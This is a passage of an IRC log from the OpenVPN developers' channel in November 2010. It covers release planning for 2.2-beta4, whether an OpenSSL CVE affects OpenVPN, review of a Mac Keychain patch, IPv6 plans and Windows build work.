(ftp2, specifically) 10:05 * dazo checks 10:05 < ecrist> ftp seems to be having load issues right at the moment. 10:06 < ecrist> ah, now it's been sent to both. 10:06 <@dazo> ecrist: perfect! 10:07 < ecrist> last pid: 73535; load averages: 65.04, 64.85, 64.72 up 114+13:22:56 14:28:02 10:07 < ecrist> 78 processes: 65 running, 13 sleeping 10:07 < ecrist> gah! 10:09 < ecrist> dazo: I've tested, and the entries will be top-posted, so as I said above, head revision.log will get you the header and most recent commit id 10:09 < ecrist> I think I may also start PGP-signing those snapshots 10:13 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 0 voices, 10 normal] 11:03 -!- dazo is now known as dazo_afk 11:23 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Changing host] 11:23 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+o patelx] by ChanServ 11:36 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 12:24 < agi> ecrist: running proftpd? 12:24 < ecrist> agi: yes 12:24 < agi> then ftp load could be due to scriptkiddies trying to exploit it 12:25 < ecrist> could be, I think it was hung processes. I patched for last week's vuln. 12:25 < agi> I saw hundreds of conns to one of my ftp servers, and the load sky-rocket. iptables -m limit took care of it 12:26 < ecrist> yeah, I have about a dozen proftpd servers around, this is the only one that had a problem. 13:07 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:07 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:41 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 13:41 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 13:41 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:34 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 272 seconds] 19:41 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:50 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 20:53 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 265 seconds] --- Day changed Wed Nov 17 2010 00:47 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 240 seconds] 06:17 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 08:56 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 08:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:31 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 09:49 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 11:27 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 13:43 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:43 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:12 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 255 seconds] --- Day changed Thu Nov 18 2010 01:51 -!- dazo_afk is now known as dazo 05:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:09 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 272 seconds] 06:16 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 06:33 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:59 < ecrist> mattock: ping 06:59 <@mattock> ecrist: pong 06:59 < ecrist> CVE-2010-3864 06:59 <@mattock> btw. all, keep meeting topics coming... I hear we're going to have one today 06:59 < ecrist> add to meeting agenda, please 06:59 <@mattock> :) 06:59 <@mattock> ok 07:04 <@mattock> I'll mail a meeting notice 07:11 < ecrist> I think the most important thing is how that CVE affects openvpn 07:11 <@dazo> mattock: I presume you've seen I've started some kind of agenda 07:11 <@mattock> dazo: yes, and thanks for that! 07:11 <@mattock> I just sent out the meeting notice 07:12 <@dazo> ecrist: http://thread.gmane.org/gmane.network.openvpn.user/31446/focus=31449 ... does that one answer your question= 07:12 <@dazo> ? 07:12 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:14 < ecrist> yes, and it's essentially what I've figured, but I think OpenVPN needs some official statement regarding this CVE 07:14 <@dazo> that's a fair point! 07:15 < ecrist> btw, what is our current method of notification process for security vulnerabilities? 07:15 < ecrist> I think we've discussed that at one point early this year, but I'm not certain I recall 07:16 <@dazo> we did ... right before the summer, iirc 07:23 * dazo cant find that discussion now 07:23 < ecrist> heh, I couldn't, either. 07:33 <@dazo> ecrist: http://thread.gmane.org/gmane.network.openvpn.devel/3841 ... there it is, I think! 07:33 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:38 < ecrist> did we ever set that up? 07:38 < ecrist> I don't think we did. 07:39 <@dazo> nope 07:39 <@dazo> mattock: ^^^ that's something to follow up ... and it' 07:39 <@dazo> it's pretty important as well 07:39 <@mattock> yeah, I'll add it to agenda 07:41 <@mattock> done 08:08 <@cron2> dazo: SOCKS seems to be the canonical spelling 08:08 <@cron2> but I don't really mind 08:09 <@dazo> cron2: thx :) I didn't notice the real spelling error until mattock pointed it out ... I'll probably have it fixed today 08:09 <@cron2> ah, that's what you're talking about 08:09 <@cron2> lack of time, lack of sleep :-) 08:10 <@dazo> :) 08:12 <@dazo> cron2: still enjoying Rome? 08:24 <@cron2> dazo: haven't seen much from Rome in the last 3 days, but it is a fairly productive meeting :-) 08:25 <@dazo> nice :) ... well, it's just Rome - that's the past, it's always a chance to get to see Rome ... you're probably more focused on the future of Internet ;-) 08:26 <@cron2> well, I've seen some bits of Rome and had nice food and wine, so it's not like "just some anonymous meeting hotel" :-) 08:27 <@cron2> my point for tonight would be "2.2-b4 release planning" 08:27 <@cron2> we need to get 2.2 out of the door, to start on 2.3 (with full IPv6 support) 08:28 <@cron2> release planning goes along with "automated client testing", of course :-) 08:34 <@dazo> yeah, agreed 08:36 <@dazo> (with 2.3 with IPv6 comes some new interesting topics for eurephia as well) 08:52 <@cron2> which is actually why I opted for "IPv6 not in 2.2 but in 2.3" 08:53 <@cron2> plugin interfaces, environment variables, management interface... work to do 08:53 <@cron2> and in 2.4, I want this to be able to run ipv6-only on the payload side :-) - so far, all the code assumes "IPv4 will always be there" 08:54 < ecrist> dazo: that's why I brought it up. :) 08:55 <@dazo> :) 08:56 < krzee> cron2, 08:56 < krzee> https://forums.openvpn.net/viewtopic.php?f=15&t=7289&p=8465#p8465 08:56 <@vpnHelper> Title: OpenVPN Support Forum View topic - TAP-Win32 device and IPv6 addresses (at forums.openvpn.net) 08:57 <@dazo> krzee: he could try out the 2.2-beta and see if that covers his use case ... 08:58 <@dazo> (even though, that's just the WinTAP driver which is added with IPv6 support) 08:59 <@dazo> - also pointing him towards cron2's IPv6 page for OpenVPN could be good ... as this guy seems to try to reinvent the wheel a little bit 09:08 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:23 <@cron2> 2.2 will not cover this 09:23 <@cron2> 2.2 adds support for IPv6 neighbour discovery spoofing, but not for actually configuring the windows side of things that way (using autoconfig stuff, router advertisement and DHCPv6) 09:24 <@cron2> for OpenVPN we do not need it today, as we config the interface via "netsh.exe" calls 09:24 <@dazo> cron2: aha .... I thought it would be different if you had a DHCPv6 server on the other side .... 09:25 <@cron2> in tap mode, yes ("just ethernet bridging"). in tun mode, no, as all the "layer 2 stuff" that windows tap driver would need is not really there 09:26 <@dazo> cron2: but we have the IPv6 enabled TAP driver for Windows in 2.2, don't we? 09:27 <@dazo> or is it needed for OpenVPN support as well in that case then? 09:32 <@cron2> dazo: regarding OpenVPN, all we need is in the TAP driver in 2.2 09:32 <@cron2> mmmh 09:32 <@cron2> so where did my post go? 09:32 <@cron2> ah, waiting for moderator approval 09:33 <@dazo> ecrist: ^^ cron2 can probably be set as a developer as well in the forum :) 09:34 <@cron2> since I hardly ever login there it's not that important, but indeed, would save time in these cases :) 09:44 < ecrist> didn't know he had an account. 09:44 < ecrist> cron2: what's your user name? 09:45 < ecrist> mattock/raidz: have you guys come up with any rank images yet? 09:45 <@mattock> ecrist: don't know 09:46 <@mattock> raidz may know 09:46 * ecrist approves cron2's post after much consideration 09:46 <@dazo> ecrist: I'm pretty sure his username is cron2 09:46 < ecrist> yeah, it is 09:52 <@cron2> indeed 09:54 < ecrist> you're all set up now on the forum, cron2 09:57 <@cron2> ecrist: thanks 10:54 <@dazo> mattock: I see Peter finally gave an ACK to your patch ... I'll get it into the tree this evening and get it pushed out 10:55 <@dazo> IIRC, I'm pushing these things into feat_misc ... which currently have merge conflict with feat_ipv6_payload, so I'm waiting for cron2 to solve that before merging with allmerged 11:00 -!- dazo is now known as dazo_afk 11:07 -!- krzie is now known as krzee 11:45 -!- dazo_afk is now known as dazo 11:55 <@mattock> dazo: ok, excellent 11:56 <@mattock> almost meeting time... 4 minutes and counting 11:58 <@dazo> :) 12:02 <@mattock> maybe wait a few minutes more ... then mail james 12:02 <@dazo> no need to wait :-P 12:03 <@mattock> ok 12:03 <@mattock> :) 12:03 < ecrist> /exec echo "get yo butt in here!" | mail -s "Hey you!" james 12:03 < ecrist> :) 12:04 <@dazo> mattock: your patch is pushed out ... it went into bugfix2.1, as feat_misc got a too old bas ... which means, it's already in allmerged 12:05 * dazo seriously begins to consider to merge bugfix2.1 and feat_misc and use that as a community development branch ... they are a bit too similar to deserve to be split 12:06 <@mattock> ok, mail to james sent 12:06 <@mattock> if neither is used as a basis for releases, then they could combined 12:07 <@mattock> shall we begin? 12:07 <@mattock> who's present, btw? 12:07 <@dazo> mattock: well, both of them are merged into beta2.2 12:07 * dazo tries to hide :-P 12:07 <@mattock> dazo: you can hide, but you can't run? :P 12:08 <@dazo> heh 12:08 <@mattock> ok, which topic first? 12:08 <@mattock> security issue may have to wait until James arrives 12:08 <@mattock> issues 12:08 <@dazo> agreed 12:09 <@dazo> OpenVPN-2.2-beta4? 12:09 <@mattock> my thoughts exactly 12:10 <@mattock> have there been any issues with beta3 specifically? 12:10 <@dazo> I have not noticed anything particular ... ecrist / krzee have you heard anything? 12:10 <@mattock> to me it seems way too stable for a beta 12:11 <@dazo> hence my question if a RC round is needed for this release 12:11 < ecrist> nothing at all. 12:11 <@dazo> I'm running 2.2-beta3 on a server and a client ... 24/7 operations, without any issues 12:11 <@mattock> I don't think we need an RC if nobody has reported beta3 -specific problems 12:11 < ecrist> I'm running beta3 in a fairly simple vpn without issues. 12:11 < ecrist> only as a client, though, not as a server. 12:12 <@dazo> I'm having a TAP setup, with the eurephia plug-in on the server side ... and it servers both 2.1 and the 2.2-beta client 12:14 <@mattock> perhaps the changes between 2.1.x and 2.2-beta3 have been too modest to introduce any serious issues 12:14 <@mattock> dazo: what changes you think would go to beta4? 12:14 * dazo is looking at that right now :) 12:15 < ecrist> is there a draft release-notes somewhere for 2.2? 12:15 <@dazo> nope, but that's a really good idea to have! 12:15 <@mattock> if there are new features queued then perhaps one more beta followed quickly by a RC would make sense 12:15 <@mattock> dazo: agreed 12:16 <@mattock> or instead of RC the official 2.2 release 12:17 <@dazo> maybe, we could just release RC1 now instead ... as the beta has been so stable 12:17 < ecrist> imho, once you go RC, you stop adding features. 12:17 < ecrist> so, if you want to add features, go beta4 12:18 <@mattock> ecrist: I was about to mention that... 12:18 <@mattock> dazo: is beta4 going to get anything that would classify as a "new feature"? 12:18 <@mattock> instead of bugfix 12:18 <@dazo> I'm posting the changes shortly now 12:19 <@dazo> http://www.fpaste.org/1b9a/ 12:20 <@dazo> I think the gap is somewhat smaller, I think I might have taken the wrong "starting commit" from what I see now 12:21 <@dazo> There are a few new features, but mostly fixes 12:21 <@mattock> so this is beta3 -> beta4? 12:21 <@dazo> probably then 12:22 <@mattock> I would go for a new beta... and if that's stable, then make an official release right after that 12:23 <@dazo> I'll double check the changelog better .... as the bugfix2.1 and feat_misc branches are a bit fuzzy due to some nasty merges, this log is a bit misguiding ... I see several things (new features) now which has been included in beta3 already 12:23 <@mattock> just to follow the normal alpha-beta-rc conventions 12:23 <@dazo> ack 12:23 <@dazo> let's go that path .... the only reason for RC, is that more people might be willing to jump on the test-wagon 12:24 <@mattock> yeah, that might be true 12:24 <@mattock> btw. do we know how quickly *NIX distributions start distributing our latest releases? 12:24 <@dazo> but if I discover when going more carefully through it, that it's only bugfixes ... we can have a talk about it? 12:25 <@mattock> yeah 12:25 < ecrist> mattock: FreeBSD ports distributes same-day 12:25 < ecrist> ;) 12:25 <@mattock> gentoo is still on 2.1.3 12:26 <@dazo> Fedora + Fedora EPEL might take a couple of weeks for a release - depends on how quick the package maintainers are. For RHEL5/RHEL6 it won't be upgraded, they will rather backport fixes primarily 12:26 <@mattock> ubuntu is 2.1.0 12:26 <@dazo> (but users who uses Fedora EPEL on RHEL/CentOS will get a newer version) 12:26 <@dazo> openvpn-2.1.1-2.fc12.x86_64 12:26 <@mattock> arch is on 2.1.3 12:27 <@mattock> pretty conservative guys :) 12:27 <@mattock> debian is 2.1.3 also 12:27 <@mattock> god damn, only freebsd guys are crazy enough to use latest versions :) 12:27 <@dazo> well, for *NIX, it's been little need for updating it ... as most issues lately have been Windows related 12:27 <@mattock> true, but they dare not upgrade to our betas :) 12:28 <@dazo> nope :) 12:28 <@mattock> dazo: what if you check if there are any significant new features and if not, let's do one RC and then a real release 12:29 <@mattock> what's the timeline for the final release? 12:29 <@dazo> yupp ... that sounds reasonable 12:29 < agi> actually debian is 2.1.4 (or 2.1.3 + patch) :) 12:29 <@mattock> a Christmas release? 12:29 < ecrist> mostly, freebsd is updated so quickly becuase I'm active here 12:29 < ecrist> m-a is also pretty on top of things for the -release 12:29 <@dazo> mattock: how's the download stats for beta3? 12:29 <@mattock> agi: oh, packages.debian.org told me lies 12:29 <@mattock> or I misread it 12:29 <@mattock> dazo: just a sec 12:30 < agi> mattock: no, it says 2.1.3, and it's 2.1.3. but with 2.1.4 patch 12:30 < ecrist> which is really 2.1.2 with 2.1.4 patch. :) 12:30 < agi> heh 12:32 <@dazo> yeah 12:36 <@dazo> the gap is really much smaller 12:38 <@dazo> http://www.fpaste.org/GoU2/ 12:39 <@dazo> this looks much more like the real gap 12:39 <@dazo> the first attempt used the wrong commit ID from a merge 12:39 <@dazo> in addition, some changes from feat_misc will be added 12:40 <@dazo> http://www.fpaste.org/gmpW/ 12:40 * dazo got dinner guests in 20 minutes 12:41 <@mattock> sorry, something came up 12:44 <@mattock> argh, can't get stats out right now 12:45 <@mattock> so, a few minor features 12:46 <@mattock> dazo: when would we make the next release? whether beta or rc 12:46 <@dazo> I think I can get ready for that during the weekend 12:47 <@dazo> unless there are something among our open tickets we want to have included 12:47 <@mattock> what if we stick to the "no new features in a RC" style and make a new beta 12:47 <@dazo> but I presume not ... https://community.openvpn.net/openvpn/report/13 12:47 <@vpnHelper> Title: OpenVPN 2.2 Beta tickets – OpenVPN Community (at community.openvpn.net) 12:48 <@dazo> okidok! Let's do that then 12:48 <@mattock> ok 12:48 <@mattock> running out of time so let's see... 12:48 <@mattock> maybe dynamic iroute? any developments there? 12:48 <@dazo> well, I'm kind of lost on where that one stranded ... 12:49 <@mattock> I think it kind of stalled when Sven-Ola didn't want to maintain his patch 12:49 <@mattock> he said he just wanted to get it out there 12:49 <@dazo> ahh ... that's what I thought, but didn't find any references to it 12:50 <@mattock> there probably are no references, it was a private response from him and I probably just mentioned it here 12:50 <@dazo> mattock: would you mind updating the ticket saying NAK as we don't have resources to maintain this new feature too easily right now ... without a committed maintainer 12:50 <@mattock> ok, I'll do that 12:51 <@dazo> we can always repoen this one if someone stands up and claims some responsibility for this 12:51 <@mattock> the OSX keychain patch probably was left without an ACK 12:51 <@mattock> or testers 12:51 <@dazo> the latter 12:52 <@mattock> so probably no need to modify the ticket at this point 12:52 <@mattock> I fear this will never make it to the core 12:53 <@mattock> the rest of the topics would require devs 12:54 <@mattock> it seems James is not coming, so perhaps we should call this a day 12:54 <@mattock> ? 12:54 <@dazo> If we can get ecrist / krzee or JJK to test this OSX patch on their Macs ... I'm willing to carry this one in, as it is pretty much isolated and cleanly written 12:54 <@dazo> (even with proper #ifdef's to disable this feature) 12:54 <@mattock> dazo: good idea... actually we could ask for testers on forums and -users 12:54 < ecrist> i'm more than happy to test if someone wants to point me to the ticket 12:54 <@mattock> people have probably just forgotten it 12:54 <@mattock> https://community.openvpn.net/openvpn/ticket/8 12:54 <@vpnHelper> Title: #8 (MacOSX Keychain Certificate support) – OpenVPN Community (at community.openvpn.net) 12:54 <@dazo> ecrist: http://thread.gmane.org/gmane.network.openvpn.devel/3631 ... it's this patch 12:54 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:55 * ecrist reads 12:55 <@dazo> actually the updated patch on May 1st from Brian 12:57 <@mattock> it seems everything went well with the patch except for the testers 12:57 < ecrist> I'll look at that in the next couple days more thoroughly 12:58 <@dazo> exactly, and that's why I'm really finding it a pity to loose this one ... this feature is for sure useful on OSX ... and the guy behind it was willing to get involved 12:59 < ecrist> it looks like a neat feature. 12:59 <@mattock> hmm, I wonder if this works with Tunnelblick... 12:59 <@mattock> those guys would be definitely interested 12:59 <@dazo> yeah, maybe that's the path to take here 13:00 < ecrist> mattock: I'm going to test it with tunnelblick 13:00 <@mattock> ecrist: ok 13:00 < ecrist> tunnelblick is relatively simple 13:00 <@mattock> I'll contact the tunnelblick users if they have a forum or something 13:00 <@dazo> ecrist: thx a lot! 13:00 <@mattock> just to let them know about this patch 13:00 < ecrist> usually, tbh, when I test code, I put the new openvpn binary inside the tunnelblick package. 13:01 <@mattock> ok, there is a Tunnelblick discussion group here: http://groups.google.com/group/tunnelblick-discuss 13:01 <@vpnHelper> Title: tunnelblick-discuss | Google Groups (at groups.google.com) 13:02 <@mattock> I'll send a message there, too 13:02 * dazo need to go now 13:02 <@mattock> dazo: have fun! 13:02 <@dazo> okay, didn't catch too much today ... but we'll continue on next meeting :) 13:02 <@mattock> I'll write a summary tomorrow 13:02 <@mattock> yep, new try next week 13:02 <@mattock> we're not in a hurry 13:03 <@dazo> and I'll get next beta ready during the weekend 13:03 <@mattock> dazo: ok, I can make the release early next week, probably tuesday 13:03 <@dazo> cool ... that's a goal then :) 13:03 <@dazo> and hopefully it'll make even cron2 happy :) 13:03 * dazo vanishes 13:04 <@mattock> I'll send a message to tunnelblick-discussion and edit the dynamic-iroute patch, too 13:04 <@mattock> see you! 13:04 <@mattock> I'll vanish too :) 13:04 -!- dazo is now known as dazo_afk 13:37 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:37 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:48 < krzee> [10:59] <mattock> hmm, I wonder if this works with Tunnelblick... 13:48 < krzee> [10:59] <mattock> those guys would be definitely interested 13:48 < krzee> if it works without tunnelblick, it should work with it 13:48 <@mattock> krzee: yep, I'll send a message to them tomorrow 13:48 < krzee> and good idea to involve them 15:31 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 15:31 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 15:31 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:43 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 17:01 -!- krzie [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 17:11 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 17:11 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 17:11 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:12 -!- krzie [krzee@openvpn/community/support/krzee] has left #openvpn-devel [] 22:20 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Fri Nov 19 2010 01:02 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:40 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:01 -!- dazo_afk is now known as dazo 02:46 <@dazo> mattock: I managed to complete merging in feat_misc into beta2.2 yesterday ... so I think we're getting somewhat closer to our beta4 ... I've updated the changelog file with the changes between v2.2-beta3 and to the head of the beta2.2 branch 02:47 <@mattock> dazo: ok, I'll add the changes to my meeting summary mail I'm writing as I speak 02:48 <@dazo> neat 03:05 <@mattock> ok, onto tunnelblick-discuss... 03:09 -!- ksk [~ksk@im.knubz.de] has joined #openvpn-devel 03:18 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 03:19 <@mattock> ok, sent 03:37 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:58 <@mattock> hmm, buildbot seems to be working a-okay 03:59 <@dazo> mattock: I haven't checked since my last pushes ... but did you notice any warnings now? 03:59 <@mattock> no warnings anymore 04:00 <@dazo> \o/ 04:00 * dazo then considers to start the weekend ... no need to try to spoil the day with new mistakes :-P 04:01 <@mattock> good idea :) 04:01 * dazo don't think his manager will agree on the 'starting weekend' part, though :( 04:03 <@mattock> you can just sneak away and hope for the best ;) 04:03 <@dazo> heh 04:04 * dazo will consider it ;-) 04:05 <@mattock> so XGUI (in Windows installer) was obsolete? I remember James saying that 04:10 <@mattock> openvpn.nsi file became quite a bit smaller with XGUI stuff removed 04:24 <@dazo> yeah, the XML stuff was outdated 06:59 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 08:04 <@mattock> any ideas if libssl32.dll is the same as ssleay32.dll? both come from openssl 08:04 <@mattock> also, does openvpn need openssl.exe, if the openssl DLLs are installed 08:05 <@mattock> ...openssl.exe seems to be "openssl utilities" 08:10 < ecrist> mattock: hash them, see if they're the same 08:11 <@mattock> I only have one, the old windows installer file just refers to libss32.dll, whereas new openssl builds generate libeay32.dll 08:11 <@mattock> there's quite a lot of work involved in the new installer... a couple of days worth at least 08:12 <@mattock> I mean Windows build system 08:44 <@mattock> dazo: how can I generate those nice Git changelogs with patches sorted by author? 08:44 <@mattock> I mean list of patches from each author 09:04 <@dazo> mattock: git shortlog 09:04 <@mattock> dazo: thanks! 09:05 <@dazo> mattock: but I had to go through and remove some log duplication, due to some dirty merges earlier on 09:05 * dazo don't recall if --no-merges works with shortlog nowadays 09:06 <@mattock> hmm, there are many duplicated entries in "git shortlog" in "allmerged" 09:06 <@mattock> is that normal 09:06 <@mattock> ? 09:06 <@mattock> also in "git log" output 09:06 <@mattock> with different commit IDs 09:06 -!- ksk [~ksk@im.knubz.de] has left #openvpn-devel [] 09:07 <@dazo> yeah, that's due to merges ... and that it's been merged in more branches, plus I know I've messed up some of these merges - history wise 09:09 <@mattock> hmm... how could I get a list of all contributions added to git since some commit? 09:09 <@mattock> do I need to do it separately for each branch? 09:09 <@mattock> e.g. bugfix2.1 09:10 <@dazo> you can do commit spans ... like git {short,}log 1234565..1923348843 ... and you can replace these commit ID's with tags or branch names as well 09:10 <@dazo> (but using branch names, it will use the last commit on that branch as the commit ID) 09:16 <@dazo> mattock: I've been thinking about the release schedule a bit more ... and we will release beta4 early next week (I'll have tarballs ready for you in the weekend) ... then I'm thinking we let this run for about 3-4 weeks, if nothing critical and if we have more bugfixes only, we'll add them and release 2.2-RC (without a RC number, indicating this will be the only RC release) 09:16 <@dazo> I imagine this release between Dec 14-20 09:17 <@mattock> yeah, sounds good, as long as James generates the Windows EXEs... the Python-based system and NSIS still needs some work 09:18 <@dazo> During the Christmas holiday, I'll straighten out the history for openvpn-2.2 ... and prepare an official openvpn.git tree ... where we will move stuff over to ... and I'll think about how to put up feature branches and such stuff ... I want to especially get rid of the bugfix and feat_misc branches and have them in a master branch 09:19 <@dazo> and this is more possible to do now, as we will treat James' SVN tree as a secondary tree as all other trees 09:21 <@dazo> This repository change will give us a chance to use the lessons learnt regarding when to rebase and when to merge ... so that our logs are more sensible in the future 09:22 <@dazo> btw ... we should touch ground with James, to be sure he is ready for a final move to git as well with the 2.2 release ... he said he would be, but I'm not convinced yet 09:29 <@mattock> yep, James probably needs some help with Git 09:29 <@mattock> hopefully that'll force him to visit this channel more often :D 09:33 <@dazo> heh 09:36 * dazo just hope that james is not scared of seeking help here ... 09:38 * dazo realises that DNS will get much more important with IPv6 addresses ... you can memorise IPv4 addresses easily, but not so easy with IPv6, especially when using radvd/stateless autoconfig 09:41 < ecrist> yeah 09:42 < ecrist> I think IPv6 support, or at least *good* IPv6 support is a bigger deal than most think. :) 09:43 <@dazo> yeah, it's a right step in the right direction with IPv6 ... but it's a lot of fundamental pieces which needs to be understood properly to give that good IPv6 support ... but far from possible 09:44 <@dazo> I'm enjoying playing with it, for sure ... but I see that split-DNS (meaning: using more DNS sources) will be a more important feature with IPv6 ... especially when combining it with VPN 09:45 <@dazo> (connecting to a partner VPN from your work, you don't want to replace your local DNS resolving to your partners ... but you need your partners DNS to access their boxes conveniently) 10:24 -!- dazo is now known as dazo_afk 10:29 -!- dazo_afk is now known as dazo 10:34 -!- dazo is now known as dazo_afk 10:52 -!- dazo_afk is now known as dazo 11:44 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 11:48 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:48 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:49 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 11:49 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:49 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:50 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 11:50 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 11:50 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:07 -!- dazo is now known as dazo_afk 13:03 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 13:33 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 13:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:38 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 13:38 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 13:38 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:06 <@mattock> jamesyonan: is adding openvpnserv.exe building support to win/msvc.mak difficult? I noticed it's still missing 14:07 <@jamesyonan> probably not difficult, just something I didn't look at 14:18 < ecrist> oh, hey james! 14:19 < ecrist> question for you - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1633 affect openvpn? 14:19 < ecrist> oh, wait, that's not the right one 14:19 < ecrist> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3864 14:41 <@jamesyonan> ecrist: no, OpenVPN isn't multi-threaded, so it shouldn't be affected 14:43 < krzie> hey so its a + sometimes too ;] 14:43 < ecrist> ok. I had suggested on thursday you make a statement about it, it's come up a few times, and I think is a legit concern. 14:44 < krzie> maybe the forum would be a good place 14:44 < krzie> will show up on google searches 14:44 < ecrist> that's true. 15:08 <@jamesyonan> ecrist: I will email the list about it 15:09 < ecrist> thank you sir. :) 15:16 <@jamesyonan> it's not an accident that single-threaded can be more secure :) 16:22 -!- Irssi: #openvpn-devel: Total of 18 nicks [6 ops, 0 halfops, 0 voices, 12 normal] 16:22 * ecrist retweets 16:24 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 16:24 -!- mode/#openvpn-devel [+o patelx] by ChanServ 16:47 < raidzx> thanks ecrist! --- Day changed Sat Nov 20 2010 07:24 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 08:27 < ecrist> ping mattock or raidzx 10:16 <@mattock> ecrist: what's up? 10:48 < ecrist> user complaining of lack of support for plussed email addresses in pwm 10:48 < ecrist> https://forums.openvpn.net/viewtopic.php?f=30&t=7295 10:48 <@vpnHelper> Title: OpenVPN Support Forum View topic - fix your email address parser (at forums.openvpn.net) 10:49 < ecrist> also, I think someone should look into disabling the account information screen, or getting it to forward/open a window to pwm 15:16 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:16 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:21 -!- krzee is now known as |krzee| 20:30 -!- |krzee| is now known as krzee --- Day changed Sun Nov 21 2010 06:53 <@mattock> ecrist: I'll check that out 07:12 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 15:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Mon Nov 22 2010 01:06 -!- dazo_afk is now known as dazo 01:46 <@dazo> mattock: you got my mail re: 2.2-beta4? 02:38 <@mattock> dazo: will check now 02:57 <@mattock> dazo: ok, got it 02:57 <@mattock> I'll ask James to generate the Windows installer 02:58 -!- dazo is now known as dazo_afk 03:01 -!- dazo_afk is now known as dazo 03:02 <@dazo> mattock: cool, thx! 03:03 -!- krzie [krzee@openvpn/community/support/krzee] has 